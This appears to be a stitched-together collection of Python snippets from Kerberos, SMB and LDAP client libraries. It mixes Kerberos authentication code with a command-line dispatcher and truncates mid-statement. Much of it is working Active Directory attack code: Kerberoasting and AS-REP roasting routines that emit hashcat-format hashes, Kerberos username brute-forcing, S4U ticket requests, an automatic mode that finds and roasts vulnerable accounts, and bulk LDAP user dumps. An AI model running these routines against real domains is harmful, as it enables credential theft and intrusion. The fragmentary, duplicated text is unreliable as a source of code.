def setup(self): self.mode = self.settings.mode self.ccred = self.settings.ccred self.spn = self.settings.spn self.target = self.settings.target self.kc = AIOKerberosClient(self.ccred, self.target)
async def amain(args): cu = KerberosClientURL.from_url(args.kerberos_connection_url) ccred = cu.get_creds() target = cu.get_target() service_spn = KerberosSPN.from_target_string(args.spn) target_user = KerberosSPN.from_user_email(args.targetuser) if not ccred.ccache: logger.debug('Getting TGT') client = AIOKerberosClient(ccred, target) await client.get_TGT() logger.debug('Getting ST') tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) else: logger.debug('Getting TGS via TGT from CCACHE') for tgt, key in ccred.ccache.get_all_tgt(): try: logger.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) client = AIOKerberosClient.from_tgt(target, tgt, key) tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) logger.info('Sucsess!') except Exception as e: logger.debug('This ticket is not usable it seems Reason: %s' % e) continue else: break client.ccache.to_file(args.ccache) logger.info('Done!')
async def amain(args): if args.spn.find('@') == -1: raise Exception('SPN must contain @') t, domain = args.spn.split('@') if t.find('/') != -1: service, hostname = t.split('/') else: hostname = t service = None spn = KerberosSPN() spn.username = hostname spn.service = service spn.domain = domain cu = KerberosClientURL.from_url(args.kerberos_connection_url) ccred = cu.get_creds() target = cu.get_target() logging.debug('Getting TGT') client = AIOKerberosClient(ccred, target) logging.debug('Getting TGT') await client.get_TGT() logging.debug('Getting TGS') await client.get_TGS(spn) client.ccache.to_file(args.ccache) logging.info('Done!')
async def get_TGS(url, spn, out_file=None, override_etype=None): try: logger.debug('[KERBEROS][TGS] started') if isinstance(override_etype, int): override_etype = [override_etype] ku = KerberosClientURL.from_url(url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(spn) logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname()) logger.debug('[KERBEROS][TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logger.debug('[KERBEROS][TGS] fetching TGS') tgs, encTGSRepPart, key = await kcomm.get_TGS( spn, override_etype=override_etype) kirbi = tgt_to_kirbi(tgs, encTGSRepPart) if out_file is not None: with open(out_file, 'wb') as f: f.write(kirbi.dump()) logger.debug('[KERBEROS][TGS] done!') return tgs, encTGSRepPart, key, kirbi, None except Exception as e: return None, None, None, None, e
async def amain(args): if args.spn.find('@') == -1: raise Exception('SPN must contain @') t, domain = args.spn.split('@') if t.find('/') != -1: service, hostname = t.split('/') else: hostname = t service = None spn = KerberosSPN() spn.username = hostname spn.service = service spn.domain = domain cu = KerberosClientURL.from_url(args.kerberos_connection_url) ccred = cu.get_creds() target = cu.get_target() logging.debug('Getting TGT') if not ccred.ccache: client = AIOKerberosClient(ccred, target) logging.debug('Getting TGT') await client.get_TGT() logging.debug('Getting TGS') await client.get_TGS(spn) else: logging.debug('Getting TGS via TGT from CCACHE') for tgt, key in ccred.ccache.get_all_tgt(): try: logging.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) client = AIOKerberosClient.from_tgt(target, tgt, key) await client.get_TGS(spn) logging.info('Sucsess!') except Exception as e: logging.debug('This ticket is not usable it seems Reason: %s' % e) continue else: break client.ccache.to_file(args.ccache) logging.info('Done!')
def setup(self): self.ccred = self.settings.ccred self.spn = self.settings.spn self.target = self.settings.target if self.settings.enctypes is not None: self.preferred_etypes = self.settings.enctypes self.flags = ChecksumFlags.GSS_C_MUTUAL_FLAG if self.settings.encrypt is True: self.flags = \ ChecksumFlags.GSS_C_CONF_FLAG |\ ChecksumFlags.GSS_C_INTEG_FLAG |\ ChecksumFlags.GSS_C_REPLAY_FLAG |\ ChecksumFlags.GSS_C_SEQUENCE_FLAG #|\ #ChecksumFlags.GSS_C_MUTUAL_FLAG self.kc = AIOKerberosClient(self.ccred, self.target)
async def s4u(url, spn, targetuser, out_file=None): try: logger.debug('[KERBEROS][S4U] Started') cu = KerberosClientURL.from_url(url) ccred = cu.get_creds() target = cu.get_target() service_spn = KerberosSPN.from_target_string(spn) target_user = KerberosSPN.from_user_email(targetuser) if not ccred.ccache: logger.debug('[KERBEROS][S4U] Getting TGT') client = AIOKerberosClient(ccred, target) await client.get_TGT() logger.debug('[KERBEROS][S4U] Getting ST') tgs, encTGSRepPart, key = await client.getST( target_user, service_spn) else: logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE') for tgt, key in ccred.ccache.get_all_tgt(): try: logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) client = AIOKerberosClient.from_tgt(target, tgt, key) tgs, encTGSRepPart, key = await client.getST( target_user, service_spn) logger.debug('[KERBEROS][S4U] Sucsess!') except Exception as e: logger.debug( '[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e) continue else: break if out_file: client.ccache.to_file(out_file) logger.debug('[KERBEROS][S4U] Done!') return tgs, encTGSRepPart, key, None except Exception as e: return None, None, None, e
async def amain(args): cu = KerberosClientURL.from_url(args.kerberos_connection_url) ccred = cu.get_creds() target = cu.get_target() logging.debug('Getting TGT') client = AIOKerberosClient(ccred, target) await client.get_TGT() client.ccache.to_file(args.ccache) logging.info('Done!')
async def run(self, cred: KerberosCredential, override_etype=[23]): """ override_etype: list : list of supported encryption types """ try: kcomm = AIOKerberosClient(cred, self.target) await kcomm.get_TGT(override_etype=override_etype, decrypt_tgt=False) return TGTTicket2hashcat(kcomm.kerberos_TGT) except Exception as e: logger.debug('Error while roasting client %s/%s Reason: %s' % (cred.domain, cred.username, str(e)))
async def setup_kc(self): try: if self.target.proxy is None: self.kc = AIOKerberosClient(self.ccred, self.target) elif self.target.proxy.type in MSLDAP_SOCKS_PROXY_TYPES: target = AIOKerberosClientSocksSocket(self.target) self.kc = AIOKerberosClient(self.ccred, target) elif self.target.proxy.type in [ MSLDAPProxyType.MULTIPLEXOR, MSLDAPProxyType.MULTIPLEXOR_SSL ]: from msldap.network.multiplexor import MultiplexorProxyConnection mpc = MultiplexorProxyConnection(self.target) socks_proxy = await mpc.connect(is_kerberos=True) self.kc = AIOKerberosClient(self.ccred, socks_proxy) else: raise Exception('Unknown proxy type %s' % self.target.proxy.type) return None, None except Exception as e: return None, e
async def setup_kc(self): try: if self.target.proxy is None or isinstance(self.target.proxy, KerberosProxy) is True: self.kc = AIOKerberosClient(self.ccred, self.target) elif self.target.proxy.type in [ SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL ]: from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection mpc = MultiplexorProxyConnection(self.target) socks_proxy, err = await mpc.connect(is_kerberos=True) if err is not None: raise err self.kc = AIOKerberosClient(self.ccred, socks_proxy) else: raise Exception('Unknown proxy type %s' % self.target.proxy.type) return None, None except Exception as e: return None, e
async def get_TGT(url): try: logger.debug('[KERBEROS][TGT] started') ku = KerberosClientURL.from_url(url) cred = ku.get_creds() target = ku.get_target() logger.debug('[KERBEROS][TGT] cred: %s' % cred) logger.debug('[KERBEROS][TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logger.debug('[KERBEROS][TGT] fetching TGT') await kcomm.get_TGT() cred = kcomm.ccache.credentials[0] kirbi, filename = cred.to_kirbi() return kirbi, filename, None except Exception as e: return None, None, e
async def get_TGT(url, override_etype=None): try: logger.debug('[KERBEROS][TGT] started') if isinstance(override_etype, int): override_etype = [override_etype] ku = KerberosClientURL.from_url(url) cred = ku.get_creds() target = ku.get_target() logger.debug('[KERBEROS][TGT] cred: %s' % cred) logger.debug('[KERBEROS][TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logger.debug('[KERBEROS][TGT] fetching TGT') await kcomm.get_TGT(override_etype=override_etype) kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart) return kirbi, None except Exception as e: return None, e
async def get_TGS(url, spn, out_file=None): try: logger.debug('[KERBEROS][TGS] started') ku = KerberosClientURL.from_url(url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(spn) logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname()) logger.debug('[KERBEROS][TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logger.debug('[KERBEROS][TGS] fetching TGS') tgs, encTGSRepPart, key = await kcomm.get_TGS(spn) if out_file is not None: kcomm.ccache.to_file(out_file) logger.debug('[KERBEROS][TGS] done!') return tgs, encTGSRepPart, key, None except Exception as e: return None, None, None, e
async def run(self, spns, override_etype=[2, 3, 16, 23, 17, 18]): try: kcomm = AIOKerberosClient(self.cred, self.target) await kcomm.get_TGT(override_etype=override_etype, decrypt_tgt=False) except Exception as e: logger.exception('a') logger.debug('Error logging in! Reason: %s' % (str(e))) results = [] for spn in spns: try: tgs, _, _ = await kcomm.get_TGS(spn, override_etype=override_etype) results.append(TGSTicket2hashcat(tgs)) except Exception as e: logger.exception('b') logger.debug( 'Failed to get TGS ticket for user %s/%s/%s! Reason: %s' % (spn.domain, str(spn.service), spn.username, str(e))) continue return results
async def setup_kc(self): try: if self.target.proxy is None: self.kc = AIOKerberosClient(self.ccred, self.target) elif self.target.proxy.type in [ SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL, SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL ]: target = AIOKerberosClientSocksSocket(self.target) self.kc = AIOKerberosClient(self.ccred, target) elif self.target.proxy.type in [ SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL ]: # kcred.target.proxy = KerberosProxy() # kcred.target.proxy.target = copy.deepcopy(target.proxy.target) # kcred.target.proxy.target.endpoint_ip = target.dc_ip # kcred.target.proxy.target.endpoint_port = 88 # kcred.target.proxy.creds = copy.deepcopy(target.proxy.auth) from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection mpc = MultiplexorProxyConnection(self.target) socks_proxy, err = await mpc.connect(is_kerberos=True) self.kc = AIOKerberosClient(self.ccred, socks_proxy) else: raise Exception('Unknown proxy type %s' % self.target.proxy.type) #elif target.proxy.type in [SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL, SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL]: # self.kc = AIOKerberosClient(self.ccred, self.target) #elif target.proxy.type in [SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL]: # mpc = MultiplexorProxyConnection(target) # socks_proxy = await mpc.connect() return None, None except Exception as e: return None, e
class SMBKerberos: def __init__(self, settings): self.settings = settings self.mode = None self.ccred = None self.target = None self.spn = None self.kc = None self.session_key = None self.gssapi = None self.iterations = 0 self.etype = None self.seq_number = None self.from_ccache = False self.setup() async def sign(self, data, message_no, direction='init'): return self.gssapi.GSS_GetMIC(data, message_no) async def encrypt(self, data, message_no): return self.gssapi.GSS_Wrap(data, message_no) async def decrypt(self, data, message_no, direction='init', auth_data=None): return self.gssapi.GSS_Unwrap(data, message_no, direction=direction, auth_data=auth_data) def setup(self): self.mode = self.settings.mode self.ccred = self.settings.ccred self.spn = self.settings.spn self.target = self.settings.target def get_session_key(self): return self.session_key.contents async def setup_kc(self): try: if self.target.proxy is None or isinstance(self.target.proxy, KerberosProxy) is True: self.kc = AIOKerberosClient(self.ccred, self.target) elif self.target.proxy.type in [ SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL ]: from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection mpc = MultiplexorProxyConnection(self.target) socks_proxy, err = await mpc.connect(is_kerberos=True) if err is not None: raise err self.kc = AIOKerberosClient(self.ccred, socks_proxy) else: raise Exception('Unknown proxy type %s' % self.target.proxy.type) return None, None except Exception as e: return None, e async def authenticate(self, authData, flags=None, seq_number=0, is_rpc=False): try: if self.kc is None: _, err = await self.setup_kc() if err is not None: return None, None, err if self.iterations == 0: try: #check TGS first, maybe ccache already has what we need for target in self.ccred.ccache.list_targets(): # just printing this to debug... logger.debug('CCACHE target SPN record: %s' % target) tgs, encpart, self.session_key = await self.kc.get_TGS( self.spn) self.from_ccache = True except Exception as e: # this is normal when no credentials stored in ccache #tgt = await self.kc.get_TGT(override_etype=[18]) tgt = await self.kc.get_TGT() tgs, encpart, self.session_key = await self.kc.get_TGS( self.spn) ap_opts = [] if is_rpc == True: if self.iterations == 0: ap_opts.append('mutual-required') flags = ChecksumFlags.GSS_C_CONF_FLAG | ChecksumFlags.GSS_C_INTEG_FLAG | ChecksumFlags.GSS_C_SEQUENCE_FLAG|\ ChecksumFlags.GSS_C_REPLAY_FLAG | ChecksumFlags.GSS_C_MUTUAL_FLAG | ChecksumFlags.GSS_C_DCE_STYLE if self.from_ccache is False: apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=flags, seq_number=seq_number, ap_opts=ap_opts) else: apreq = self.kc.construct_apreq_from_ticket( Ticket(tgs['ticket']).dump(), self.session_key, tgs['crealm'], tgs['cname']['name-string'][0], flags=flags, seq_number=seq_number, ap_opts=ap_opts, cb_data=None) self.iterations += 1 return apreq, False, None else: #mutual authentication part here self.seq_number = seq_number aprep = AP_REP.load(authData).native cipher = _enctype_table[int(aprep['enc-part']['etype'])]() cipher_text = aprep['enc-part']['cipher'] temp = cipher.decrypt(self.session_key, 12, cipher_text) enc_part = EncAPRepPart.load(temp).native cipher = _enctype_table[int( enc_part['subkey']['keytype'])]() now = datetime.datetime.now(datetime.timezone.utc) apreppart_data = {} apreppart_data['cusec'] = now.microsecond apreppart_data['ctime'] = now.replace(microsecond=0) apreppart_data['seq-number'] = enc_part['seq-number'] #print('seq %s' % enc_part['seq-number']) apreppart_data_enc = cipher.encrypt( self.session_key, 12, EncAPRepPart(apreppart_data).dump(), None) #overriding current session key self.session_key = Key(cipher.enctype, enc_part['subkey']['keyvalue']) ap_rep = {} ap_rep['pvno'] = 5 ap_rep['msg-type'] = MESSAGE_TYPE.KRB_AP_REP.value ap_rep['enc-part'] = EncryptedData({ 'etype': self.session_key.enctype, 'cipher': apreppart_data_enc }) token = AP_REP(ap_rep).dump() self.gssapi = get_gssapi(self.session_key) self.iterations += 1 return token, False, None else: if self.from_ccache is False: apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=flags, seq_number=seq_number, ap_opts=ap_opts) else: apreq = self.kc.construct_apreq_from_ticket( Ticket(tgs['ticket']).dump(), self.session_key, tgs['crealm'], tgs['cname']['name-string'][0], flags=flags, seq_number=seq_number, ap_opts=ap_opts, cb_data=None) return apreq, False, None except Exception as e: return None, None, e
async def amain(args): if args.command == 'tgs': logging.debug('[TGS] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(args.spn) logging.debug('[TGS] target user: %s' % spn.get_formatted_pname()) logging.debug('[TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logging.debug('[TGS] fetching TGS') await kcomm.get_TGS(spn) kcomm.ccache.to_file(args.out_file) logging.debug('[TGS] done!') elif args.command == 'tgt': logging.debug('[TGT] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() logging.debug('[TGT] cred: %s' % cred) logging.debug('[TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logging.debug('[TGT] fetching TGT') await kcomm.get_TGT() kcomm.ccache.to_file(args.out_file) logging.debug('[TGT] Done! TGT stored in CCACHE file') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] targets = get_targets_from_file(args, False) targets += get_target_from_args(args, False) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('[ASREPRoast] loaded %d targets' % len(targets)) logging.debug( '[ASREPRoast] will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosTarget(args.address) ar = APREPRoast(ks) hashes = [] for target in targets: h = await ar.run(target, override_etype=[args.etype]) hashes.append(h) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() ar = Kerberoast(target, cred) hashes = await ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'brute': target = KerberosTarget(args.address) with open(args.targets, 'r') as f: for line in f: line = line.strip() spn = KerberosSPN() spn.username = line spn.domain = args.realm ke = KerberosUserEnum(target, spn) result = await ke.run() if result is True: if args.out_file: with open(args.out_file, 'a') as f: f.write(result + '\r\n') else: print('[+] Enumerated user: %s' % str(spn)) logging.info('Kerberos user enumeration complete') elif args.command == 'spnroast-sspi': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn( spn_name.get_formatted_pname()) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast-multiplexor': #hiding the import so it's not necessary to install multiplexor await spnmultiplexor(args) elif args.command == 'auto': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi-ntlm://%s' % domain msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] results = [] errors = [] async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[args.etype]) results.append(res) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) client = ldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: async for user in client.get_all_service_users(): cnt += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] SPN users') async for user, err in client.get_all_service_users(): if err is not None: raise err cnt += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] ASREP users') async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]))
class MSLDAPKerberos: def __init__(self, settings): self.settings = settings self.signing_preferred = None self.encryption_preferred = None self.ccred = None self.target = None self.spn = None self.kc = None self.flags = None self.preferred_etypes = [23, 17, 18] self.session_key = None self.gssapi = None self.iterations = 0 self.etype = None self.seq_number = 0 self.expected_server_seq_number = None self.setup() def get_seq_number(self): """ Returns the initial sequence number. It is 0 by default, but can be adjusted during authentication, by passing the 'seq_number' parameter in the 'authenticate' function """ return self.seq_number def signing_needed(self): """ Checks if integrity protection was negotiated """ return ChecksumFlags.GSS_C_INTEG_FLAG in self.flags def encryption_needed(self): """ Checks if confidentiality flag was negotiated """ return ChecksumFlags.GSS_C_CONF_FLAG in self.flags async def sign(self, data, message_no, direction='init'): """ Signs a message. """ return self.gssapi.GSS_GetMIC(data, message_no, direction=direction) async def encrypt(self, data, message_no): """ Encrypts a message. """ return self.gssapi.GSS_Wrap(data, message_no) async def decrypt(self, data, message_no, direction='init'): """ Decrypts message. Also performs integrity checking. """ return self.gssapi.GSS_Unwrap(data, message_no, direction=direction) def setup(self): self.ccred = self.settings.ccred self.spn = self.settings.spn self.target = self.settings.target if self.settings.enctypes is not None: self.preferred_etypes = self.settings.enctypes self.flags = ChecksumFlags.GSS_C_MUTUAL_FLAG if self.settings.encrypt is True: self.flags = \ ChecksumFlags.GSS_C_CONF_FLAG |\ ChecksumFlags.GSS_C_INTEG_FLAG |\ ChecksumFlags.GSS_C_REPLAY_FLAG |\ ChecksumFlags.GSS_C_SEQUENCE_FLAG #|\ #ChecksumFlags.GSS_C_MUTUAL_FLAG #self.kc = AIOKerberosClient(self.ccred, self.target) def get_session_key(self): return self.session_key.contents, None async def setup_kc(self): try: if self.target.proxy is None: self.kc = AIOKerberosClient(self.ccred, self.target) elif self.target.proxy.type in MSLDAP_SOCKS_PROXY_TYPES: target = AIOKerberosClientSocksSocket(self.target) self.kc = AIOKerberosClient(self.ccred, target) elif self.target.proxy.type in [ MSLDAPProxyType.MULTIPLEXOR, MSLDAPProxyType.MULTIPLEXOR_SSL ]: from msldap.network.multiplexor import MultiplexorProxyConnection mpc = MultiplexorProxyConnection(self.target) socks_proxy = await mpc.connect(is_kerberos=True) self.kc = AIOKerberosClient(self.ccred, socks_proxy) else: raise Exception('Unknown proxy type %s' % self.target.proxy.type) return None, None except Exception as e: return None, e async def authenticate(self, authData, flags=None, seq_number=0, cb_data=None): """ This function is called (multiple times depending on the flags) to perform authentication. """ try: if self.kc is None: _, err = await self.setup_kc() if err is not None: return None, None, err if self.iterations == 0: self.seq_number = 0 #int.from_bytes(os.urandom(4), byteorder='big', signed=False) self.iterations += 1 #tgt = await self.kc.get_TGT() tgt = await self.kc.get_TGT( override_etype=self.preferred_etypes) tgs, encpart, self.session_key = await self.kc.get_TGS( self.spn) #, override_etype = self.preferred_etypes) #self.expected_server_seq_number = encpart.get('nonce', seq_number) ap_opts = [] if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags or ChecksumFlags.GSS_C_DCE_STYLE in self.flags: if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags: ap_opts.append('mutual-required') apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=self.flags, seq_number=self.seq_number, ap_opts=ap_opts, cb_data=cb_data) return apreq, True, None else: #no mutual or dce auth will take one step only apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=self.flags, seq_number=self.seq_number, ap_opts=[], cb_data=cb_data) self.gssapi = get_gssapi(self.session_key) return apreq, False, None else: self.iterations += 1 #raise Exception('Not implemented!') if ChecksumFlags.GSS_C_DCE_STYLE in self.flags: # adata = authData[16:] # if ChecksumFlags.GSS_C_DCE_STYLE in self.flags: # adata = authData raise Exception('DCE auth Not implemented!') # at this point we are dealing with mutual authentication # This means that the server sent back an AP-rep wrapped in a token # The APREP contains a new session key we'd need to update and a seq-number # that is expected the server will use for future communication. # For mutual auth we dont need to reply anything after this step, # but for DCE auth a reply is expected. TODO # converting the token to aprep token = KRB5_MECH_INDEP_TOKEN.from_bytes(authData) if token.data[:2] != b'\x02\x00': raise Exception('Unexpected token type! %s' % token.data[:2].hex()) aprep = AP_REP.load(token.data[2:]).native # decrypting aprep cipher = _enctype_table[int(aprep['enc-part']['etype'])]() cipher_text = aprep['enc-part']['cipher'] temp = cipher.decrypt(self.session_key, 12, cipher_text) enc_part = EncAPRepPart.load(temp).native #updating session key, gssapi self.session_key = Key(int(enc_part['subkey']['keytype']), enc_part['subkey']['keyvalue']) #self.seq_number = enc_part.get('seq-number', 0) self.gssapi = get_gssapi(self.session_key) return b'', False, None except Exception as e: return None, None, e
class SMBKerberos: def __init__(self, settings): self.settings = settings self.mode = None self.ccred = None self.target = None self.spn = None self.kc = None self.session_key = None self.gssapi = None self.iterations = 0 self.etype = None self.seq_number = None self.setup() async def sign(self, data, message_no, direction='init'): return self.gssapi.GSS_GetMIC(data, message_no, direction=direction) async def encrypt(self, data, message_no): return self.gssapi.GSS_Wrap(data, message_no) async def decrypt(self, data, message_no, direction='init', auth_data=None): return self.gssapi.GSS_Unwrap(data, message_no, direction=direction, auth_data=auth_data) def setup(self): self.mode = self.settings.mode self.ccred = self.settings.ccred self.spn = self.settings.spn self.target = self.settings.target def get_session_key(self): return self.session_key.contents async def setup_kc(self): try: if self.target.proxy is None: self.kc = AIOKerberosClient(self.ccred, self.target) elif self.target.proxy.type in [ SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL, SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL ]: target = AIOKerberosClientSocksSocket(self.target) self.kc = AIOKerberosClient(self.ccred, target) elif self.target.proxy.type in [ SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL ]: # kcred.target.proxy = KerberosProxy() # kcred.target.proxy.target = copy.deepcopy(target.proxy.target) # kcred.target.proxy.target.endpoint_ip = target.dc_ip # kcred.target.proxy.target.endpoint_port = 88 # kcred.target.proxy.creds = copy.deepcopy(target.proxy.auth) from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection mpc = MultiplexorProxyConnection(self.target) socks_proxy, err = await mpc.connect(is_kerberos=True) self.kc = AIOKerberosClient(self.ccred, socks_proxy) else: raise Exception('Unknown proxy type %s' % self.target.proxy.type) #elif target.proxy.type in [SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL, SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL]: # self.kc = AIOKerberosClient(self.ccred, self.target) #elif target.proxy.type in [SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL]: # mpc = MultiplexorProxyConnection(target) # socks_proxy = await mpc.connect() return None, None except Exception as e: return None, e async def authenticate(self, authData, flags=None, seq_number=0, is_rpc=False): try: if self.kc is None: _, err = await self.setup_kc() if err is not None: return None, None, err if self.iterations == 0: #tgt = await self.kc.get_TGT(override_etype=[18]) tgt = await self.kc.get_TGT(override_etype=[18]) tgs, encpart, self.session_key = await self.kc.get_TGS(self.spn ) ap_opts = [] if is_rpc == True: if self.iterations == 0: ap_opts.append('mutual-required') flags = ChecksumFlags.GSS_C_CONF_FLAG | ChecksumFlags.GSS_C_INTEG_FLAG | ChecksumFlags.GSS_C_SEQUENCE_FLAG|\ ChecksumFlags.GSS_C_REPLAY_FLAG | ChecksumFlags.GSS_C_MUTUAL_FLAG | ChecksumFlags.GSS_C_DCE_STYLE apreq = 